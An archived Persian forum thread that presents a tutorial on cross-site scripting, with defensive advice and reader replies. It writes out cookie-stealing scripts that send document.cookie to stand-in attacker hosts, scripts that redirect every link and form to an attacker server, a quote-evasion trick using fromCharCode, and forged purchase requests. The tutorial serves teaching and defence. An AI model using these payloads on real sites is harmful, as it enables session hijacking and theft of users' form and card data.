PDA

View Full Version : حملات Cross Site Scripting – XSS



navid3d_69
دوشنبه 06 آبان 1392, 23:59 عصر
حملات XSS
اگر یک توسعه دهندهی وب هستید، احتمالا در مورد XSS شنیده اید. شاید هم قبلا مراحلی را برای مقابله با XSS در برنامه های خود به کار برده اید. کار آیی این مراحل بسته به این است که چه قدر موضوع را درک کرده اید و این که این مشکل را به صورت ریشه ای حل کنید. باید تا جایی که امکان دارد علت اصلی مشکل را پیدا و رفع کنید. اصلی ترین علل ایجاد آسیب پذیری های XSS، اعتماد بی چون و چرا به داده های ورودی است. یک توصیه رایج میان توسعه دهندگان وب این است که هرگز به ورودی کاربر اعتماد نکنید. ولی محافظت در برابر XSS تلاش بیشتری می طلبد زیر هم ورودی می تواند خطرناک باشد. به عنوان مثال پست های یک فروم، ایمیل هایی که در یک مرورگر نشان داده می شود، یک تبلیغات و داده های فرم.
مثال از حمله XSS: سناریو های مختلف حمله به یک فروشگاه الکترونیکی
یک نفوذگر قصد فریب دادن مشتری فروشگاه الکترونیکی دارد. نفوذگر می داند که این فروشگاه الکترونیکی، شماره کارت اعتباری کاربران را در سرور خود نگهداری می کند. سایت این فروشگاه الکترنیمی طوری طراحی شده است که برای اینکه کاربر مجبور نباشد هر بار کلمه عبور را وارد کند، و با استفاده از کوکی به صورت خودکار اجازه ورود به کاربر را می دهد. نفوذگر می داند که اگر به کوکی این کاربر دسترسی پیدا کند،می تواند با استفاده از کارت اعتباری او، از فروشگاه خرید کند! نفوذگر یک ایمیل به کاربر می فرستد و کد HTML زیر در درون ایمیلی که برای کاربر می فرستد قرار می دهد:



<a href="http://archives.cnn.com/2001/US/09/16/inv.binladen.denial/?tw=<script>document.location.replace('http://example.com/ph33r/steal.cgi?'+document.cookie);</script>">Check this article Out!</a>



وقتی کاربر بر روی لینک کلیک می کند، به سایت مقالات CNN می رود، ولی همزمان اسکریپت نفوذگر در مرورگرش اجرا می شود و کلمه عبورش به دست نفوذگر می افتد!
با استفاده از ویرایشگر کوکی مرورگر فایرفاکس، نفوذگر می تواند کوکی برای خود تنظیم کرده و از آن استفاده کند. اکنون، نفوذگر به حساب مشتری فروشگاه الکترونیکی دسترسی کامل دارد.
حمله به یک فروشگاه الکترونیکی با استفاده از آدرس های جعلی
تکنیک دیگر XSS استفاده ی مهاجم از آدرس هایی است که کاری را در سایت شما انجام می دهند. زمانی که یک کاربر هویت سنجی شده بر روی لینکی همانند لینک زیر کلیک می کند:



<a href="http://shopping.example.com/oneclick.php?action=buy&item=236">Special Reductions!</a>


زمانی که کاربر بر روی لینک Special Reductions! کلیک می کند، یک خرید را با آن کلیک انجام می دهد. موفقیت با عدم موفقیت این تراکنش بستگی به ساختار oneclick.php دارد. اما تصور این که یک پیاده سازی سبد خرید اجازه چنین تراکنشی بدهد. دور از ذهن نیست. اگر یک برنامه کارهای مهم را تنها بر پایه ی مقادیر $_GET انجام دهد. آن گاه نسبت به این گونه حملات آسیب پذیر است.

حمله با استفاده لینکهای جعلی تصاویر


نوع دیگری از XSS از صفحات src برای انجام اعمالی بر روی برنامه شما استفاده می کند. این کار همانند روش قبلی است با این تفاوت که کاربر حتی نیاز به کلیک کردن روی چیزی را نیز ندارد. زمانی که لینک زیر :



<img alt="" src="http://shopping.example.com/addtocart.php?item=236" />


در یک مرورگر بارگذاری گردد.سبب اضافه شدن یک آیتم به سبد خرید کاربر می شود و اگر سبد خرید فعالی نداشته باشد، یکی برای آن ایجاد می کند. حمله ای که این تصویر انجام می دهد بسیار مکارانه ست. زیرا تلاشی برای نفوذ نیست بلکه سعی در از بین بردن اطمینان کاربران به سبد خرید شما می شود.شاید کاربر متوجه آیتم اضافی درسبد خرید خود نشود. اما اگر متوجه شود، حتی اگرآن آیتم را (که می توان آیتمی باشد که مهاجم برای فروختن آن پول گرفته باشد) حذف کند، اطمینان خود را به فروشگاه آنلاین example.com از دست خواهد داد. تصاویر تنها آیتم های HTML نیستند که دارای صفت src می باشند.ولی آیتمی هستند که حتی سایت های محافظه کار، که احتیاطهای زیاد امنیتی را در نظر می گیرند، اجازه استفاده از آن را می دهند.اگر برنامه شما به کاربران اجازه دهد که آدرس تصاویر را وارد کند(مثلا در یک پیام فروم یا به صورت یک avatar) امکان آسیب پذیر بودن شما در برابر این حمله وجود دارد.حتی اگر تگ های img در یک برنامه قابل قبول نباشند، می توان یک تصویر پیش زمینه را در المنت دیگری توسط صفت style یا صفت background تگ table در بعضی مرورگرها بار گذاری نمود. مثلا چیزی شبیه با این:



</pre>
<table>
<tbody>
<tr>
<td>thanks for visiting!</td>
</tr>
</tbody>
</table>
<pre>


زمانی که کاربر صفحه را بارگذاری می کند، مرورگر سعی در بارگذاری تصویر برای پیش زمینه جدول می نماید که باعث اضافه شدن آیتم شماره ۲۳۶ به سبد خرید کاربر می شود.
ایم مثال سبد خرید که از آن استفاده نمودیم، یکی از حملات پیچیده تر XSS را نیز بیان می کند: وب سایت مورد حمله ممکن است آن سایتی که حمله در آن جا ایجاد شده است نباشد.چه می شود اگر کد مخرب قبلی به message.example.com فرستاده می شد؟ زمانی که یک کاربر آیتم شماره ی ۲۳۶ را بار بعد که برای خرید وارد می شود ببیند، اعتبار example.com به خطر می افتد.
برای پیش گیری از این گونه حملات، برنامه نویس سبد خرید shopping.example.com باید بسیار در مورد شیوه اضافه شدن آیتم ها به سبد کاربر مراقب باشد. چک کردن HTTP Referrer حداقل کار ممکن است.

خرید اضافی از فروشگاه با استفاده از XSS


در حمله ای مانند آدرس های Forged action می توان فرمی را که بی خطر به نظر می رسد وادار به انجام عملیات غیر منتظره نمود. مثلا با دستکاری کردن فرم، کاری کرد که یم متغیر نامطلوب $_POST فرستاده شود. برای مثال یک فرم جستجو می تواند بیشتر از یک در خواست انجام دهد:



</pre>
<form action="http://example.com/addtocart.php" method="post">
<h2>serach</h2>
<input type="text" name="query" size="20" />
<input type="hidden" name="item[]" value="236" />
<input type="submit" value="submit" /></form>
<pre>


این فرم همانند یک فرم ساده جستجو دیده می شود. اما زمانی که این فرم فرستاده می شود.همانند مثال قبلی سعی در اضافه کردن آیتم شماره ۲۳۶ به سبد خرید می کند. اگر این کار با موفقیت انجام شود، اعتماد کاربر به نرم افزار شما کمتر می شود.

حملات XSS عیله یک تالار گفتگو


در یک تالار گفتگو، پستهای زیادی توسط افراد مختلف وارد می شود. اگر یک نفوذگر پستی را وارد کند که حاوی یک اسکریپت مخرب جاوا اسکریپت (مثل کد زیر) باشد و این کد در مرورگر کاربر اجر شود، آنگاه نفوذگر می تواند از این طریق به داده های حساس کاربر مثل کلمه عبور کاربر دسترسی داشته باشد.



<script type="text/javascript">// <![CDATA[
document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie
// ]]></script>


بطور مثال اگر اسکریپت بالا در یک تگ تصویر پنهان کند و آن را به تالار گفتگو بفرستد، در آن صورت به کلمه عبور قربانی دست خواهد یافت. مواردی که در این پست گفته شد در برخی سایت های معروف به نحوی اتفاق افتاده است

دزدی کوکی و سشن


بیشتر برنامه های وب فعالیت های کاربران را مسایلی نظیر تعیین سطوح دسترسی، آیتم های درون یک سبد خرید که توسط کاربران انتخاب می شوند و… کنترل می کنند. کنترل کاربر معمولا توسط سشن صورت می پذیرد، SESSION ID در بیشتر مواقع در کوکی ها که متن هایی هستند که مرورگر در هر دخواست می فرستد ذخیره می شوند. یکی از قابلیت های جاوا اسکریپت خواندن کوکی هاست. با تزریق جاوا اسکریپت به یک صفحه مهاجم می تواند کوکی های کاربر رو بگیرد. اما تنها گرفتن این کوکی SESSION ID برای مهاجم کافی نیست. این کوکی باید به صورتی به دست مهاجم برسد که بتواند خود را جای کاربر معرفی کند. متاسفانه این کار به آسانی در جاوا اسکریپت قابل انجام است:



javascript:document.location='http://hacker.com/?'+document.cookie
# Generated Code (w/0 proper validation)
<img alt="" src="javascript:document.location='http://hacker.com/?'+document.cookie" />



در این مثال کوتاه این کد این مکان را فراهم می کند که جاوا اسکریپت به یک صفحه تزریق شود و تمام مقادیر کوکی ها سایت کنونی را هر زمان که صفحه بار گزاری می شود به سایت دیگری بفرستد. بدتر از همه کاربران نمی فهمند که مشکلی رخ داده است و حاصل تنها یک تصویر ناقص اسک که حتی در بعضی مرورگر ها قابل دیدن هم نمی باشد.حالا فرض کنید که کنترل کاربر از طریق session بر پایه آدرس انجام گردد.session id به جای کوکی ها به صورت پارامتر های GET به آخر آدرس الحاق می شوند. این session هم مشکلی برای مهاجم ایجاد نمی کند زیرا یک کد جاوا اسکریپت می تواند تمامی لینک های یک صفحه بگیرد و آن ها را تغییر دهد:



For(i=0;i<document.links.lenght;i++)
Document.links[i].href='http://hacker.com/?'+escape(document.links[i]);


با اجرای این روش، نفوذگر در واقع صفحه وب را تبدیل به یک میدان مین می کند! این کد جاوا اسکریپت کاری می کند که تمام لینک های صفحه با سایت http://hacker.com اشاره کنند. زمانی که یک کاربر بر هر لینکی در صفحه مورد حمله قرار گرفته شده کلیک کند، در خواست به علاوه آدرس اصلی و تمام پارامترهای GET به همراه session ID برای سایت مهاجم فرستاده می شود.هر لینک در واقع مثل یک مین خواهد بود که کاربر با کلیک کردن روی آن، session id را برای نفودگر ارسال می کند! برای اطمینان حاصل کردن از این که آدرس اصلی به طور کامل منتقل می شود از escape() برای کد گذاری آدرس استفاده شده است. این تزریق xss خطرناک است زیرا به مهاجم اجازه می دهد تا تمام صفحه را تغییر دهد و امکام دزدی session id در هر کلیک وجود دارد.

دزدی داده های فرم


روشی مشابه دزدی session از طریق URL، می تواند برای دزدی داده های فرم، مورد استفاده قرار بگیرد. لیست تمام فرم های صفحه توسط document.forms جاوا اسکریپت قابل دسترسی است و لیست به آسانی لینک ها می تواند گرفته شود.با تغییر مقدار هر مشخصه action مهاجم می تواند کاری کند که داده های فرم به سایت دیگری فرستاده شوند.



For(i=0;i<document.forms.lenght;i++)
Document.forms[i].action='http://xss.com/x.php';


با توجه به این که تزریق یک برنامه ی چند خطی جاوا اسکریپت زیاد سخت نیست، حمله می تواند ساده تر شود به طوری که راحت تر در سایت قربانی قرار گیرد. چون به بیشتر فرم ها از طریق مشخصه name اسمی نسبت داده شده است، جاوا اسکریپت می تواند مستقیما نیز یک فرم مشخص را تغییر دهد:



Document.forms.cc_details.action='http://xss.com/x.php';


در این مثال ، هدف یک فرم با نام cc_details که مربوط به اطلاعات کارت اعتباری است، می باشد.همانند مثال قبل، تگ action آن به صورتی تغییر داده شده است که اطلاعات به یک سایت دیگر بفرستد. اما برخلاف حمله قبلی، تنها یک خط کد بسیار ساده نیاز است.
چیزی که می توان تزریق کد را سخت کند، این است که quote ها باید آرگومان را احاطه کنند.
Quote های تکی و دوتایی (کاراکترهای ” و ‘) باعث جلوگیری از حمله ی XSS می شوند.
اما حتی اگر شما تدابیری را برای کد گذاری یا حذف quote ها دارید باز هم ممکن است نسبت به حملات XSS آسیب پذیر باشید. بر خلاف رشته ها ، اعداد نیازی به احاطه شدن توسط quote ها ندارند.در نتیجه می اوان بر حمله از اعداد به جای رشته ها استفاده کرد.
با استفاده از تابع string.fromCharCode() که یک تابع جاوا اسکریپت است و همانند تابع chr() در php اجازه تبدیل یک عدد به کاراکتر اسکی متناظر خود را می دهد، نفوذگر می تواند از استفاده از quote ها اجتناب کرده و به جای استفاده از رشته ها از یک سری اعداد استفاده نماید:



A = new array(104,116,116,112,58,47,47,120,115,115,46,99,1 11,109,47,120,46,112,104,112);
B = string.fromCharCode(a[0]);
For(i=1;i<a.lenght;i++){
B +=string.from.CharCode(a[i]);
}
Document.forms.css_details.action=b;


در این جا با استفاده از آرایه a رشته ی b به صورت http://xss.com/x.php ایجاد می شود. پس از آن این مقدار در فیلد action فرم استفاده می گردد.

یک روش مکارانه برای فریب کاربر : کدگذاری آدرس های حمله


کد گذاری آدرس های حمله کار بسیار آسانی است. با یک برنامه ی ساده می توان یک لینک خطرناک را به گونه ای کد گذاری نمود که خطرناک به نظر نرسد. برای مثال، با استفاده از این سایت:



http://ostermiller.org/calc/encode.html



می توان این آدرس را :



http://localhost/nuke73/modules.php?

Name=news&file=article&sid=1&optionbox=
['http://example.com/ph33r/steal.cgi?'+document.cookie]


به این آدرس تغییر داد.



http://localhost/nuke73/modules.php%3Fname%3DNews%26file%

3Darticle%26sid%3D1%26optionbox%3D%5B%27

http://%3DA//example.com/ph33r/steal.cfg%3F%27%2Bdocument.cookie%5D


یعنی در واقع بطور مثال، یک URL معمولی را تبدیل، به فرمت hex کرد. این کار طول آدرس را زیاد می کند اما کاری می کند که در نظر کاربر معمولی زیار خطرناک نرسد.این آدرس را توسط وب سایتی که در بالا به آن اشاره کردم گذاشتم نمودم.
برای تمام برنامه های کارآ و مفید، تعداد زیادی ورودی کاربر وجود دارد و بنابراین این گونه برنامه ها توجه بیشتری را می طلبد. ریسک تنها اعتماد به ورودی نیست، بلکه این تصور که می توان آن داده را امن فرض کرد و آن را به کاربر نشان داد ریسک بزرگتری است. کاربرانتان به شما اعتماد دارند و حملات XSS سعی در از بین بردن این اعتماد دارند. برای این که متوجه شوید چرا این داده ها می تواند خطرناک باشد، یک فرم ثبت ساده را در نظر بگیرید که کاربران می توانند یک نام کاربری را با آدرس ایمیل خود ارائه دهند. اطلاعات ثبت پس از ایجاد حساب به کاربر ایمیل می شود. فرم زیر می تواند برای این کار استفاده شود:



</pre>
<form action="/register.php" method="POST">
Username: <input type="text" name="username" />

Email: <input type="text" name="email" />

Username: <input type="submit" value="Register" /></form>
<pre>


اگر داده های فرستاده شده توسط این فرم به صورت مناسب فیلتر نشوند، مهاجمین می توانند داده های خطرناک به register.php بفرستند و تنها محدودیتی که برای قدرت تخریب آن وجود دارد، محدودیت کارآیی خود آن ها است. فرض کنید داده های فرم در پایگاه داده ای همانند زیر ذخیره شوند:



$mysql = array();
$mysql['username'] = mysql_real_escape_string($_POST['username']);
$mysql['email'] = mysql_real_escape_string($_POST['email']);
$sql = "INSERT INTO users(username,email)
VALUES('{$mysql['username']}','{$mysql['email']}')";


خوشبختانه استفاده از $_POST جلوی بسیاری از مشکلات امنیتی را میگیرد. با این که $_POST['username'] و $_POST['email'] به درستی برای Mysql فیلتر شده اند، اما سایت نسبت به حملات XSS نفوذپدیر است.این مثال باز هم زیانهای اعتماد بی چون وچرا به این داده ها را نشان می دهد. به عبارت دیگر، این داده ها نسبت به حمله SQL injection ایمن هستند، اما نسبت به حملات XSS آسیب پذیرند. فرض کنید نفوذگر چنین کدی را به جای نام کاربری وارد کند:



<script type="text/javascript">// <![CDATA[
alert('XSS');
// ]]></script>


با این که به راحتی مضخص می شود که این یک نام کاربری صحیح نیست،ولی این مثال نشان می دهد که کد شما ممکن است زیاد امن نباشد. بدون فیلتر کردن ورودی، هرچیزی می تواند وارد پایگاه داده شود. البته در مورد XSS خطر زمانی آشکار می شود که این داده به کاربر نشان داده شوند. (مثلا نام کاربری برای سایر کاربران سایت نشان داده شود)
فرض کنید که این سیستم ثبت مشخص یک رابط مدیریتی دارد که تنها ازطریق شبکه محلی و توسط کاربران معتبر کنترل می شود. به راحتی می توان در نظر گرفت که برنامه ای که از بیرون قابل دسترسی نیست، امن است و تلاش کمتری در راستای امنیت آن نیاز است . حالا کد زیر را در نظر بگیرید که لیستی از کاربران ثبت شده را به مدیران معتبر نشان می دهد.



</pre>
if($_SESSION['admin']){ $sql = 'SELECT username,email FROM users'; $result = mysql_query($sql); while ($record = mysql_fetch_assoc($result)){ echo "\n"; echo " \n"; echo " \n"; echo " \n"; } } ?>
<table>
<tbody>
<tr>
<th>Username</th>
<th>Email</th>
</tr>
<!--?php <br ?-->
<tr>
<td>{$record['username']}</td>
<td>{$record['email']}</td>
</tr>
</tbody>
</table>
<pre>


اگر داده های پایگاه داده خطرناک باشند، یک مدیر می تواند از طریق این برنامه مورد حمله XSS قرار گیرد.
ریسک در شکل زیر نشان داده شده است.راه مقابله با حمله XSS در این کد بسیار ساده است. با استفاده از تابع htmlentities() به راحتی می توان جلوی این حمله را گرفت:



$mysql = array();
$username = htmlentities($_POST['username']);
$email = htmlentities($_POST['email']);

$mysql['username'] = mysql_real_escape_string($username);
$mysql['email'] = mysql_real_escape_string($email);
$sql = "INSERT INTO users(username,email)
VALUES('{$mysql['username']}','{$mysql['email']}')";


اگر داده ی خطرناک زیر را در نظر بگیرید، این ریسک بیشتر مشخص می شود:



<script type="text/javascript">// <![CDATA[
new Image().src='http://example.org/steal.php?cookies='+encodeURI(document.cookie);
// ]]></script>


اگر این کد به مدیر نشان داده شود، کوکی های مدیر به سایت example.org فرستاده می شوند. و صفحه steal.php می تواند $_GET['cookies'] به کوکی ها دسترسی پیدا کند.

مقابله با XSS


راهنمایی های برای مقابله با حملات XSS وجود دارد. شاید بتوانید هم اکنون تعدادی از آن ها را حدس بزنید:


تمامی ورودی را فیلتر کنید.


باید بدون استثنا تمام ورودی ها را فیلتر کنید و تنها داده های صحیح را در نرم افزار خود راه دهید.


تمامی خروجی را فیلتر کنید.


باید تمامی خروجی ها را هم فیلتر کنید. این کار برای داده ها به معنی آن است که باید به صورت متن ساده نمایش داده شوند و به صورت HTML تفسیر نشوند. برای این کار باید از راه حلهای مطمئن استفاده کنید. هر زمان که ممکن است، به جای ایجاد راهی از خودتان،از توابع قوی که از قبل وجود دارند استفاده نمایید.توابعی همانند strip_tags() و htmlentities() انتخاب های خوبی هستند.

تنها به محتویات امن اجازه ورود دهید.


به جای این که حدس بزنید چه داده هایی نباید وارد شوند، بررسی کنید که چه داده هایی اجازه ورود دارند. و تمامی ورودی ها را به رعایت این قانون مجبور کنید.برای مثال اگر یک کاربر باید یک نام خانوادگی وارد کند، ممکن است تنها به کاربر اجازه دهید که کاراکتر های الفبایی و فاصله خالی را وارد کند که امن هستند. اگر مانع ورود تمامی کاراکتر های دیگر شوید، نام های خانوادگی همانند O’Reilly و Berners-lee که نام خانوادگی صحیحی هستند نیز رد می شوند. اما این مشکل به راحتی رفع می شود. به quote های تکی و خط فاصله اجازه ورود دهید.در طی زمان ، تکنیک های فیلتر کردن ورودی شما نیز بهتر می شوند.

منبع1 (http://www.blog.sedehi.ir/php/%D8%AD%D9%85%D9%84%D8%A7%D8%AA-cross-site-scripting-xss-%D9%82%D8%B3%D9%85%D8%AA-%D8%A7%D9%88%D9%84/)
منبع2 (http://www.blog.sedehi.ir/php/%D8%AD%D9%85%D9%84%D8%A7%D8%AA-cross-site-scripting-xss-%D9%82%D8%B3%D9%85%D8%AA-%D8%AF%D9%88%D9%85-2/)

sabloger
چهارشنبه 20 آذر 1392, 14:36 عصر
خیلی جالب بود سپاس:لبخندساده:

pswin.pooya
پنج شنبه 05 دی 1392, 12:50 عصر
تا اونجا که من مطالعه کردم راه های زیادی برای xss وجود داره. حتی با فیلتر کردن برخی از موارد تگ های html میشه با یه قالب کدینگ دیگه مثل base64 هم اینکار رو انجام داد. تا حالا کسی اسکریپتی برای جلوگیری از اینجور موارد نوشته؟

abolfazl-z
پنج شنبه 05 دی 1392, 17:25 عصر
حتی با فیلتر کردن برخی از موارد تگ های html میشه با یه قالب کدینگ دیگه مثل base64 هم اینکار رو انجام داد.

منظورتان را واضح تر بیان می کنید ؟

pswin.pooya
شنبه 07 دی 1392, 00:54 صبح
من توی یه آموزش XSS دیدم که همون اسکریپت رو با base64 (قالب کدینگ )نوشت و CMS تشخیص نداد و در نتیجه ...

navid3d_69
شنبه 07 دی 1392, 12:07 عصر
اگر امکانش هست کد های همون آموزش رو بزارین اینجا که تست بشه

pswin.pooya
شنبه 07 دی 1392, 22:31 عصر
باید دنبال آموزشش بگردم. ولی یه آموزش ایرانی از بچه های شبگرد بود. یکی از نکته هایی که اشاره کرد بود این بود که جلوی حملات xss رو به سختی میشه گرفت. و به عنوان نمونه این نقطه ضعف رو تو سیستم بلاگفا مثال زده بود.

abolfazl-z
یک شنبه 08 دی 1392, 10:54 صبح
باید دنبال آموزشش بگردم. ولی یه آموزش ایرانی از بچه های شبگرد بود. یکی از نکته هایی که اشاره کرد بود این بود که جلوی حملات xss رو به سختی میشه گرفت. و به عنوان نمونه این نقطه ضعف رو تو سیستم بلاگفا مثال زده بود.



نمیشه گفت که جلوی حملات xss رو به سختی میشه گرفت.

بستگی به این دارد که در مدیریت و کنترل پروژهتون چقدر دقیق هستید. انقدر دقیق هستین که تمام شرایط را در نظر بگیرید ، قدرت مجازی سازیتون چقدر هست و چگونه میتوانید خودتون رو به جای همه جا بزنید و از همه دید به برنامه نگاه کنید!

به تصویر ذیل نگاه کنید :

114567

ali abedian
پنج شنبه 05 تیر 1393, 16:29 عصر
آیا محدود کردن تعداد کاراکترهای فیلدهای ورودی به مقداری که نیاز هست، جلوی این حملات رو میتونه بگیره؟
مثلاً ما میخواییم مقدار ID ای رو داشته باشیم و تعداد کاراکترهای اون از ۳ یا ۴ تا بیشتر نیست.. اینجا اگر تعداد کارکترهای ورودی این فیلد رو ۴ در نظر بگیریم قطعاً باید کمک بزرگی کنه برای جلوگیری از حملات! درسته؟

برای این مورد مبحث تازه ای راه اندازی کردم ممنون میشم پاسخ رو در اون مبحث بدید
http://barnamenevis.org/showthread.php?457932-%D8%A2%DB%8C%D8%A7-%D9%85%D8%AD%D8%AF%D9%88%D8%AF-%DA%A9%D8%B1%D8%AF%D9%86-%D8%AA%D8%B9%D8%AF%D8%A7%D8%AF-%DA%A9%D8%A7%D8%B1%D8%A7%DA%A9%D8%AA%D8%B1%D9%87%D 8%A7%DB%8C-%D9%88%D8%B1%D9%88%D8%AF%DB%8C-%DB%8C%DA%A9-%D9%81%DB%8C%D9%84%D8%AF-%D8%A8%D9%87-%D8%A7%D9%86%D8%AF%D8%A7%D8%B2%D9%87-%DB%8C-%D9%86%DB%8C%D8%A7%D8%B2%D8%8C-%D8%AA%D8%A7%D8%AB%DB%8C%D8%B1-%D8%A8%D8%B1%D8%A7%DB%8C-%D8%AC%D9%84%D9%88%DA%AF%DB%8C%D8%B1%DB%8C-%D8%A7%D8%B2-%D8%AD%D9%85%D9%84%D8%A7%D8%AA-%D8%AF%D8%A7&p=2049526#post2049526
متشکرم

emadrezvani
پنج شنبه 05 تیر 1393, 19:40 عصر
در مورد xss worm ها تحقیق کردین؟ در مورد همین باگ در BB code و امسال اون تحقیق کردین؟ کسی از دوستان کرم سامی کامکار رو دیده؟ در واقع بهره برداری مناسب از حملات وب واقعا هنر میخواد. بخصوص وقتی حملاتی که نیاز مخفی سازی/دور زدن تشخصی دهندگان حملات و .. داشته باشه.
من قدبما یه کلیپ گرفتم که ببینید خالی از لطف نیست:
www.youtube.com/watch?v=XGWNUNRSNiE

navid3d_69
پنج شنبه 05 تیر 1393, 19:55 عصر
شما باید نسبت به امکانات و حساسیت پروژه از روش های مختلف استفاده کنید شما می تونین از htmlpurifier حتی در اطلاعات یک فرم که از کاربر میگیرد هم استفاده کنید ولی خوب منابع بیشتری نسبت به توضیحات بالا از سرور استفاده می کنه همیشه با یک اعتبار سنجی خوب میشه خیلی جلوگیری کرد

emadrezvani
پنج شنبه 05 تیر 1393, 20:35 عصر
با وجود پروتکشن هایی مثل htmlpurifier و .. اما باز هم متدهای بایپس زیادی وجود داره. لزوم وجود پروتکشن به معنی از بین بردن حملات نیست.
اما کار خوبی کردین مقاله ای به این صورت نوشتین. به نظر من شما وقتی وقت نوشتن چنین چیزی رو دارین بیاین موضوع امنیت رو به چالش بکشید و بگید دوستان طراح در این انجمن این مسائل چنین عواقبی داره و با این متد و روش ها از بین ببرینش.

navid3d_69
جمعه 06 تیر 1393, 06:01 صبح
واقعیتش جدیدا وقتم خیلی پر هست این پست ها مال چند ماه پیش هست و چند ماهی هست که خیلی کم میام توی سایت برنامه نویس اگر وقت بکنم حتما این کار رو انجام میدم